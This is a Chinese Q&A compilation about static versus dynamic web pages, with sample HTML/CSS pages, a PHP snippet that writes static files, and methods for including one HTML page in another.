静态页面源码
㈠ 动态源码与静态源码都有哪些
静态网页，动态网页主要根据网页制作的语言来区分：
静态网页使用语言：HTML（超文本标记语言）
动态网页使用语言：HTML＋ASP 或 HTML＋php 或 HTML＋JSP 等。
静态网页与动态的区别
程序是否在服务器端运行，是重要标志。在服务器端运行的程序、网页、组件，属于动态网页，它们会随不同客户、不同时间，返回不同的网页，例如ASP、PHP、JSP、ASP.net、CGI等。运行于客户端的程序、网页、插件、组件，属于静态网页，例如html页、Flash、javaScript、VBScript等等，它们是永远不变的。
静态网页和动态网页各有特点，网站采用动态网页还是静态网页主要取决于网站的功能需求和网站内容的多少，如果网站功能比较简单，内容更新量不是很大，采用纯静态网页的方式会更简单，反之一般要采用动态网页技术来实现。
静态网页是网站建设的基础，静态网页和动态网页之间也并不矛盾，为了网站适应搜索引擎检索的需要，即使采用动态网站技术，也可以将网页内容转化为静态网页发布。
动态网站也可以采用静动结合的原则，适合采用动态网页的地方用动态网页，如果必要使用静态网页，则可以考虑用静态网页的方法来实现，在同一个网站上，动态网页内容和静态网页内容同时存在也是很常见的事情。
我们将动态网页的一般特点简要归纳如下：
（1）动态网页以数据库技术为基础，可以大大降低网站维护的工作量；
（2）采用动态网页技术的网站可以实现更多的功能，如用户注册、用户登录、在线调查、用户管理、订单管理等等；
（3）动态网页实际上并不是独立存在于服务器上的网页文件，只有当用户请求时服务器才返回一个完整的网页；
（4）动态网页中的“？”对搜索引擎检索存在一定的问题，搜索引擎一般不可能从一个网站的数据库中访问全部网页，或者出于技术方面的考虑，搜索蜘蛛不去抓取网址中“？”后面的内容，因此采用动态网页的网站在进行搜索引擎推广时需要做一定的技术处理才能适应搜索引擎的要求
什么是静态网页？静态网页有哪些特点？
在网站设计中，纯粹HTML格式的网页通常被称为“静态网页”，早期的网站一般都是由静态网页制作的。
静态网页的网址形式通常为：
也就是以.htm、.html、.shtml、.xml等为后后缀的。在HTML格式的网页上，也可以出现各种动态的效果，如.GIF格式的动画、FLASH、滚动字母等，这些“动态效果”只是视觉上的，与下面将要介绍的动态网页是不同的概念。
我们将静态网页的特点简要归纳如下：
（1）静态网页每个网页都有一个固定的URL，且网页URL以.htm、.html、.shtml等常见形式为后缀，而不含有“？”；
（2）网页内容一经发布到网站服务器上，无论是否有用户访问，每个静态网页的内容都是保存在网站服务器上的，也就是说，静态网页是实实在在保存在服务器上的文件，每个网页都是一个独立的文件；
（3）静态网页的内容相对稳定，因此容易被搜索引擎检索；
（4）静态网页没有数据库的支持，在网站制作和维护方面工作量较大，因此当网站信息量很大时完全依靠静态网页制作方式比较困难；
（5）静态网页的交互性交叉，在功能方面有较大的限制
好像看懂了,第一看后缀名,第二看是否能与服务器发生交互行为
静态网页是相对于动态网页而言，是指没有后台数据库、不含程序和不可交互的网页。你编的是什么它显示的就是什么、不会有任何改变。静态网页相对更新起来比较麻烦，适用于一般更新较少的展示型网站。
静态网页与动态的区别
程序是否在服务器端运行，是重要标志。在服务器端运行的程序、网页、组件，属于动态网页，它们会随不同客户、不同时间，返回不同的网页，例如 ASP、PHP、JSP、ASP.net、CGI等。运行于客户端的程序、网页、插件、组件，属于静态网页，例如html页、Flash、 JavaScript、VBScript等等，它们是永远不变的。
静态网页和动态网页各有特点，网站采用动态网页还是静态网页主要取决于网站的功能需求和网站内容的多少，如果网站功能比较简单，内容更新量不是很大，采用纯静态网页的方式会更简单，反之一般要采用动态网页技术来实现。
静态网页是网站建设的基础，静态网页和动态网页之间也并不矛盾，为了网站适应搜索引擎检索的需要，即使采用动态网站技术，也可以将网页内容转化为静态网页发布。
动态网站也可以采用静动结合的原则，适合采用动态网页的地方用动态网页，如果必要使用静态网页，则可以考虑用静态网页的方法来实现，在同一个网站上，动态网页内容和静态网页内容同时存在也是很常见的事情。
我们将动态网页的一般特点简要归纳如下：
（1）动态网页以数据库技术为基础，可以大大降低网站维护的工作量；
（2）采用动态网页技术的网站可以实现更多的功能，如用户注册、用户登录、在线调查、用户管理、订单管理等等；
（3）动态网页实际上并不是独立存在于服务器上的网页文件，只有当用户请求时服务器才返回一个完整的网页；
（4）动态网页中的“？”对搜索引擎检索存在一定的问题，搜索引擎一般不可能从一个网站的数据库中访问全部网页，或者出于技术方面的考虑，搜索蜘蛛不去抓取网址中“？”后面的内容，因此采用动态网页的网站在进行搜索引擎推广时需要做一定的技术处理才能适应搜索引擎的要求
另外,如果扩展名为.asp但却没有连数据库,完全是静态的页面,那也是静态网站.只是.asp扩展名。
㈡ 静态页面，动态页面和伪静态页面的区别以及实现方法
1.静态页面
优点：相对于其他两种页面(动态页面和伪静态页面)，速度最快，而且不需要从数据库里面提取数据，速度快的同时，也不会对服务器产生压力。
缺点：由于数据都是存储在HTML里面，所以导致文件非常大。并且最严重的问题是，更改源代码必须全部更改，而不能改一个地方，全站静态页面就自动更改了。如果是大型网站有较多的数据，那会占用大量的服务器空间，每次添加内容都会生成新的HTML页面。如果不是专业人士维护比较麻烦。
2.动态页面
优点：空间使用量非常小，一般几万条数据的网站，使用动态页面，可能只有几M的文件大小，而使用静态页面少则十几M,多则几十M甚至更多。因为数据库是从数据库里面调出来的，如果需要修改某些值，直接更改数据库，那么所有的动态网页，就会自动更新了。这一点相比静态页面优点就显而易见了。
缺点：用户访问速度较慢，为什么会访问动态页面较慢呢？这个问题要从动态页面的访问机制说起了，其实我们的服务器上面有一个解释引擎，当用户访问的时候，这个解释引擎就会把动态页面翻译为静态页面，这样大家就能够在浏览器里面查看源码了。而这个源码就是解释引擎翻译之后的源码。除访问速度较慢以外，动态页面的数据是从数据库里面调用过来的如果访问的人数较多，数据库的压力会非常大。不过现在的动态程序多数都使用了缓存技术。但是总体来讲，动态页面对于服务器的压力比较大一些。同时动态页面的网站一般对于服务器的要求比较高一些，同时访问的人越多也会造成服务器的压力越大。
3.伪静态页面
伪静态页面定义：“假”静态页面，实质上是动态页面。
优点：相比静态页面而言，并没有速度上的明显提升，因为是“假”静态页面，其实还是一个动态页面，也是同样需要翻译为静态页面的。最大的好处就是让搜索引擎(Search Engine)把自己的网页当做静态页面来处理。
缺点：顾名思义，“伪静态”就是“假静态”，搜索引擎不会把他当做静态页面来处理，这只是我们靠经验考逻辑去分析的，并不一定准确。或许搜索引擎直接把它认为是动态页面。
简单总结：
静态页面访问最快；维护较为麻烦。
动态页面占用空间小、维护简单；访问速度慢，如果访问的人多，会对数据库造成压力。
使用纯静态和伪静态对于SEO(Search Engine Optimization:搜索引擎优化)没有什么本质的区别。
使用伪静态将占用一定量的CPU占用率，大量使用会导致CPU超负荷。
㈢ 高分求助：如何让html静态页面的源代码被,js代码屏蔽
首先，你看到的源代码不可能是java代码，java代码是服务器端代码，在编译成页面以后你是看不到的。你可以看到的只是javascript代码。
其实一个页面不用html标签，使用javascript也能写可以写。因为页面上的标签其实也是一个对象。Javascript通过面想对象的方法处理页面。逻辑全部都是在后台通过java代码处理的。返回到前台的只有显示的结果，Javascript所要做的之后把得到的结果显示出来而已。
我写一小段代码，你看看是不是这个意思。
<body></body>
<script language="javascript">
var newtable,newtr,newtd;
newtable = document.createElement("table");
newtable.border = 1;
document.body.appendChild(newtable);
newtr = newtable.insertRow();
newtd = document.createElement("td");
newtd.innerText="Name";
newtr.appendChild(newtd);
newtd = document.createElement("td");
newtd.innerText="Sex";
newtr.appendChild(newtd);
newtd = document.createElement("td");
newtd.innerText="Age";
newtr.appendChild(newtd);
newtr = newtable.insertRow();
newtd = document.createElement("td");
newtd.innerText="Jack";
newtr.appendChild(newtd);
newtd = document.createElement("td");
newtd.innerText="F";
newtr.appendChild(newtd);
newtd = document.createElement("td");
newtd.innerText="22";
newtr.appendChild(newtd);
</script>
这段代码是在页面上画一个表格，表格里有两行，相当于
<table>
<tr>
<td>Name</td><td>Sex</td><td>Age</td>
<tr>
<tr>
<td>Jack</td><td>F</td><td>22</td>
<tr>
</table>
㈣ 关于php源码生成静态页面的问题
这很容易，只需要把_STATIC_DIR这个常量找到修改一下或者重新设置一下就行，改成你要存放的目录，但是需要注意的是目录可不可写，一定要是可写权限（0777），
if ($fd = @fopen($fpath, "w"))
{
fwrite($fd, $output, $len);
fwrite($fd, "\n<!-- Generated by WZZ123 system on " . date("Y/m/d H:i:s") . " - http://www.wzz123.com -->");
fclose($fd);
写文件这块程序确实不怎么好，可以换成
if ($fd = @fopen($fpath, "w"))
{
fputs($fd, $output);
fclose($fd);
我的qq是253189163
㈤ 谁有那种静态网页的源代码，老师要我们做五张网页
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Dot</title>
<style>
body{
background-color: #222
}
.bd{
width: 400px;
height: 400px;
margin: -200px 0 0 -200px;
}
.bg1{
width: 200px;
height: 200px;
border: 8px solid grey;
margin: -108px 0 0 -108px;
background-color: rgb(64, 255, 0);
animation: gradiant 1s infinite linear alternate;
}
.bg2{
width: 150px;
height: 150px;
margin: -75px 0 0 -75px;
background-color: grey;
}
.dot{
cursor: pointer;
width: 50px;
height: 50px;
margin: -25px 0 0 -25px;
animation: rotate 1s infinite linear;
}
.dot:before{
content: '';
top: -75px;
left: 50%;
width: 8px;
height: 75px;
margin-left: -4px;
}
.bg, .dot{
border-radius: 50%;
}
.bd, .bg, .dot{
position: absolute;
top: 50%;
left: 50%;
}
.dot, .dot:before{
position: absolute;
background-color: #ddd;
}
@keyframes rotate{
0%{
transform: rotate(0deg);
}
100%{
transform: rotate(360deg);
}
}
@keyframes gradiant{
0%{
background-color: rgb(64, 255, 0);
}
100%{
background-color: rgb(255, 225, 0);
}
}
</style>
</head>
<body>
<div>
<div class="bg bg1"></div>
<div class="bg bg2"></div>
<div></div>
</div>
</body>
</html>
<!DOCTYPE html>
<html>
<meta charset="UTF-8">
<title>Wave</title>
<style>
body {
background: #222;
margin: 0px;
}
.bd {
position: absolute;
top: 50%;
left: 50%;
width: 198px;
height: 198px;
border: 1px solid white;
margin: -100px 0 0 -100px;
animation: Rotate 1s infinite linear;
}
.waves {
position: absolute;
top: 50%;
left: 50%;
width: 20px;
height: 20px;
margin: -10px 0 0 -10px;
border-radius: 50%;
}
.waves:before,
.waves:after {
position: absolute;
background: white;
width: 20px;
height: 20px;
content: "";
display: block;
border-radius: 50%;
}
.waves:before {
animation: wave-animate 1s infinite ease-out;
}
.waves:after {
opacity: 0;
animation: wave-animate 1s .5s infinite ease-out;
}
@keyframes Rotate {
0% {
transform: rotateY(0deg);
}
100% {
transform: rotateY(360deg);
}
}
@keyframes wave-animate {
0% {
transform: scale(0);
opacity: 1;
transform-origin: center;
}
100% {
transform: scale(3);
opacity: 0;
transform-origin: center;
}
}
</style>
<div class="bd"></div>
<div class="waves"></div>
</html>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<title>- 3D -密码: LPT</title>
<script src="http://t.cn/R8x6B8l"></script>
<script src="http://t.cn/R8xXzoK"></script>
<link rel="stylesheet" type="text/css" href="css/style.css"/>
<script>
$(function () {
window.onload = function(){//预加载图片
$('.cards').css('background-size','100%');
};
$('#btn_flex').click(function () {//操作台收展切换
var btn_height = Number($('#btn').css('height').split('px')[0]);
console.log('btn_height: ' + btn_height);
if (btn_height !== 0) {
$('#btn').css('height', '0');
$(this).html('展开');
} else {
$('#btn').css('height', 'auto');
$(this).html('收起');
}
});
$('input[type=button]').click(function () {//控件按钮事件
var tt = $(this).prev();
var css_name_0 = tt.attr('id').split('_')[0];
var css_name_1 = tt.attr('id').split('_')[1];
var css_name_3 = '(' + tt.val() + ')';
var unite = new Array('px', 's', 'deg');
console.log(tt);
console.log(css_name_0 + '||' + css_name_1);
console.log(typeof css_name_0 + '||' + typeof css_name_1);
if (css_name_1 === '') {
if (css_name_0 === 'perspective') {
$('#see').css(css_name_0, tt.val() + unite[0]);
} else {
$('body,h1,h2,h3,h4,h5,h6,b,span,input,ul,ul,div,button').css(css_name_0, tt.val() + unite[1]);
};
} else if (css_name_0 === 'scal') {
$('#bd').css('transform', css_name_0 + css_name_1 + css_name_3);
} else {
$('#bd').css('transform', css_name_0 + css_name_1 + '(' + tt.val() + unite[2] + ')');
};
});
$('.cards').click(function () {//翻页
var page = $('#bd').css('transform');
console.log(page);
});
$('button').click(function () {//自定义bd的CSS
var command_name = $('#css_user_name').val();
var command_text = $('#css_user_text').val();
var $button = $(this).html();
if (command_name === 'style') {
if ($button === '提交') {
$(command_name).html(command_text);
console.log(command_name + ' (style): ' + command_text);
} else {
alert('此DOM自定义内容为您输入在文本框内的内容,自行修改提交即可.');
};
} else {
if ($button === '提交') {
$(command_name).attr('style', command_text);
console.log(command_name + ' (CSS): ' + command_text);
} else if ($button === '清除自定义样式') {
$(command_name).removeAttr('style');
console.log(command_name + ' (CSS): Clear');
};
};
});
//**//
});
function SV() {//实时记录CSS数值
$('#perspective_val').html($('#see').css('perspective'));
$('#transition_val').html($('#bd').css('transition'));
$('#rotateX_val').html($('#bd').css('transform'));
$('#rotateY_val').html($('#bd').css('transform'));
$('#rotateZ_val').html($('#bd').css('transform'));
$('#scale_val').html($('#bd').css('transform'));
};
setInterval(SV, 80);
</script>
<style></style>
</head>
<body>
<div>
<ul id="btn">
<li id="btn_flex" class="title">收起</li>
<li>
<b>自定义CSS( <input type="text" id="css_user_name" placeholder="DOM选择" /> )</b>
<br/>
<textarea id="css_user_text"></textarea>
<br/>
<button>提交</button>
<button>清除样式</button>
<br/>
<b>perspective(视距)</b>
<br/>
<span>value:</span>
<br/>
<input type="text" id="perspective_" />
<input type="button" value="修改" />
<br/>
<span class="css_val" id="perspective_val"></span>
<br/>
<b>transition(过渡时间)</b>
<br/>
<span>value:</span>
<br/>
<input type="text" id="transition_" />
<input type="button" value="修改" />
<br/>
<span class="css_val" id="transition_val"></span>
<br/>
<b>rotate(3D旋转)</b>
<br/>
<span>X轴旋转:</span>
<br/>
<input type="text" id="rotate_X" />
<input type="button" value="修改" />
<br/>
<span class="css_val" id="rotateX_val"></span>
<br/>
<span>Y轴旋装:</span>
<br/>
<input type="text" id="rotate_Y" />
<input type="button" value="修改" />
<br/>
<span class="css_val" id="rotateY_val"></span>
<br/>
<span>Z轴旋转:</span>
<br/>
<input type="text" id="rotate_Z" />
<input type="button" value="修改" />
<br/>
<span class="css_val" id="rotateZ_val"></span>
<br/>
<b>scale(缩放)</b>
<br/>
<span>value:</span>
<br/>
<input type="text" id="scal_e" />
<input type="button" value="修改" />
<br/>
<span class="css_val" id="scale_val"></span>
</li>
</ul>
</div>
<div id="see">
<div id="bd">
<div class="cards"></div>
<div class="cards"></div>
<div class="cards"></div>
<div class="cards"></div>
<div class="cards"></div>
<div class="cards"></div>
<div class="cards"></div>
<div class="cards"></div>
</div>
</div>
</body>
</html>
大概就这样, 给了你三个, body标签里面内容自定, title标题自定, 这是我瞎搞的动画, 没毛病老铁, 你在一些站点里面要静态网页多的是@~@
㈥ 如何改源代码 静态页面html
1.需要弄清楚你的网站是什么语言写的，什么类型的页面文件，如：html和ASP、php文件；
2.然后找到一行<a href="...">more</a>的代码，或者直接搜索more；
3.把<a href="...">指向你的产品页面名称即可，比如<a href="proct.php">即可。
不知道怎么修改，可以找到其文件，把代码发出来，告诉你怎么修改。
㈦ 谁能给我给静态网页的源代码.谢谢了
干啥用的？你自己就有，点击浏览器上面的菜单文件另存为全部，存下来的就是静态网页，要看代码就用鼠标单机右键查看源文件
㈧ 求html静态网页源码
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>溅</title>
<style>
<!--
body {
background:url(img/bg9.gif);
margin:0px;
padding:0px;
}
.pic{
border:1px solid #00406c;
}
p {
padding-top:30px;
color:#001671;
}
p.con{
padding-left:4px;
padding-right:4px;
}
p.title {
paddin-top;0px;
}
.chara1 {
font-size:12px;
background-color:#90bcff;
}
.chara1 td{
text-align:center;
}
.chara2 {
background-color:#d2e7ff;
text-align:center;
font-size:12px;
vertical-align:top;
}
.chara3 {
background:#e9fbff url(img/self.jpg) no-repeat bottom right;
vertical-align:top;
padding-top:15px;
padding-left:30px;
font-size:12px;padding-right:15px;
}
-->
</style>
</head>
<body>
<table align="center" cellpadding="1" cellspacing="0">
<tr><td><img src="img/banner3.jpg" border="0" /></td></tr>
</table>
<table width="600px" cellpadding="2" cellspacing="2" class="chara1" align="center">
<tr><td>首面</td><td>心情日记</td><td>Free</td><td>一起走到</td><td>从明天起</td><td>纸飞机</td><td>下一站</td></tr>
</table>
<table width="600px" align="center" cellpadding="0" cellspacing="1">
<tr>
<td width="150px" class="chara2"> <p><img src="img/selfpic.jpg" class="pic"/><br />我的日记本</p>
<p class="con">他们彼此深信，是瞬间并发的热情让他们相遇。这样的确定是美丽的，但变幻无常更为美丽。</p>
<p> <img src="img/selfpic2.jpg" class="pic"/><br/>心情轨迹</p>
<p class="con">董事长的一切都让人既羡慕又忌妒，但更让人受不了的是，有一天，上苍忽然赐给他一个神奇的礼物</p> </td>
<td class="chara3">
<h4>介绍</h4>
<p>我努力的抓紧世界，最后却仍被世界淘汰，如果一开始就松手，我会不那么伤心吗？你说，亲爱的孩子，世事难料，随它去吧！</p>
<h4>照相本子</h4>
<p>关于童年，你记住了什么？ <br>
两岁时，我拥有一只巨大的粉红猪，它总在我嚎啕大哭时逗我笑。<br>
三岁时，我骑着小木马一路摇到外婆家，它不喝水也不吃草。<br>
四岁时，我离家出走，在公车上睡着了，最后是太空超人送我回家。<br>
我真的没骗你，我通通都记得，还有照片为证。
</p>
<h4>地下铁</h4>
<p>天使在地下铁的入口，<br>
和我说再见的那一年，<br>
我渐渐看不见了。<br>
十五岁生日的那年秋天早晨，<br>
窗外下着毛毛雨，<br>
我喂好我的猫。<br>
六点零五分，<br>
我走进地下铁。</p>
<h4>向左走向右走</h4>
<p>They're both convinced<br>
that a sudden passion joined them.<br>
Such certainth is beautiful,<br>
but uncertainty is more beautiful still.</p>
<br>
</td>
</tr>
</table>
</body>
</html>
㈨ .NET生成静态页面源码(C#)
重写Render方法
搜索一下吧
我当时是这样的:
数据库中加了个字段表示此记录是否已经生成了静态页,
然后跳转到此静态页的链接则根据这个字段进行生成,如果需要重新生成静态页,则生成aspx页面的链接(这个aspx同时也是静态页的模板),重新生成后再重定向到静态页,否则直接生成静态页的链接
当数据变更的同时更新标记用的字段
㈩ 在静态页面里怎么调用静态页面，常用的代码是什么
html 静态页面中引用外部页面没那么方便，主要方法有：
1.使用框架来实现，但是那样占用线程较多，速度慢；
<IFRAME width=100% height=30 marginwidth=0 marginheight=0 SRC="header.htm" ></IFRAME>
加上它的一些属性可以实现一些透明,无滚动条等具体的效果.大家可以html教程的相关介绍
2.使用. js脚本来实现
就是把相关的html文件转化为js文件.再在调用的时候用
<script src="import.js"></script>
或<script src="import.asp"></script>，此时import.asp中的内容必须使用js输入才行。
如果你用此方法来包含像头部,导航条的话,它将不利于搜索引擎的搜集。
另外，编写js输出的内容代码较凌乱，容易出错。
3.下面是一种实现方法：
最好能有一种方法，就像asp页面包含其他页面时那样，用一小段包含语句就可以实现，不要将需要包含的内容出现在本页面内，而是分割出去到另外一个自己的页面。
<span ><IE:Download STYLE="behavior:url(#default#download)" />
<script>
function onDownloadDone(downData){
showImport1.innerHTML=downData
}
oDownload1.startDownload('top.htm',onDownloadDone)
</script>
注：包含的页面为 top.htm 只要把需要包含的页面改掉就可以了！其中id=showimport 不能改为其他，这种写法为一次包含一个文件。
4.<object> 个人觉得此法方便比较好
<object type="text/x-scriptlet" data="import.htm" width=100% height=30></object>
5.Behavior的download方式
<span
<IE:Download STYLE="behavior:url(#default#download)" />
<script>
function onDownloadDone(downDate){
showImport.innerHTML=downDate
}
oDownload.startDownload('import.htm',onDownloadDone)
</script>
6、HTML中执行SSL
存在这种情况，主机只默认的是index.html，但是需要首页是动态的，除了上述方法，可以使用SSL
[!--#exec cgi="index.pl" --]
1、在服务器上打开“服务器端包含”
2、把你的静态文件扩展名改成：shtml
3、在文件中添加<!--#include file="你要包含的文件" -->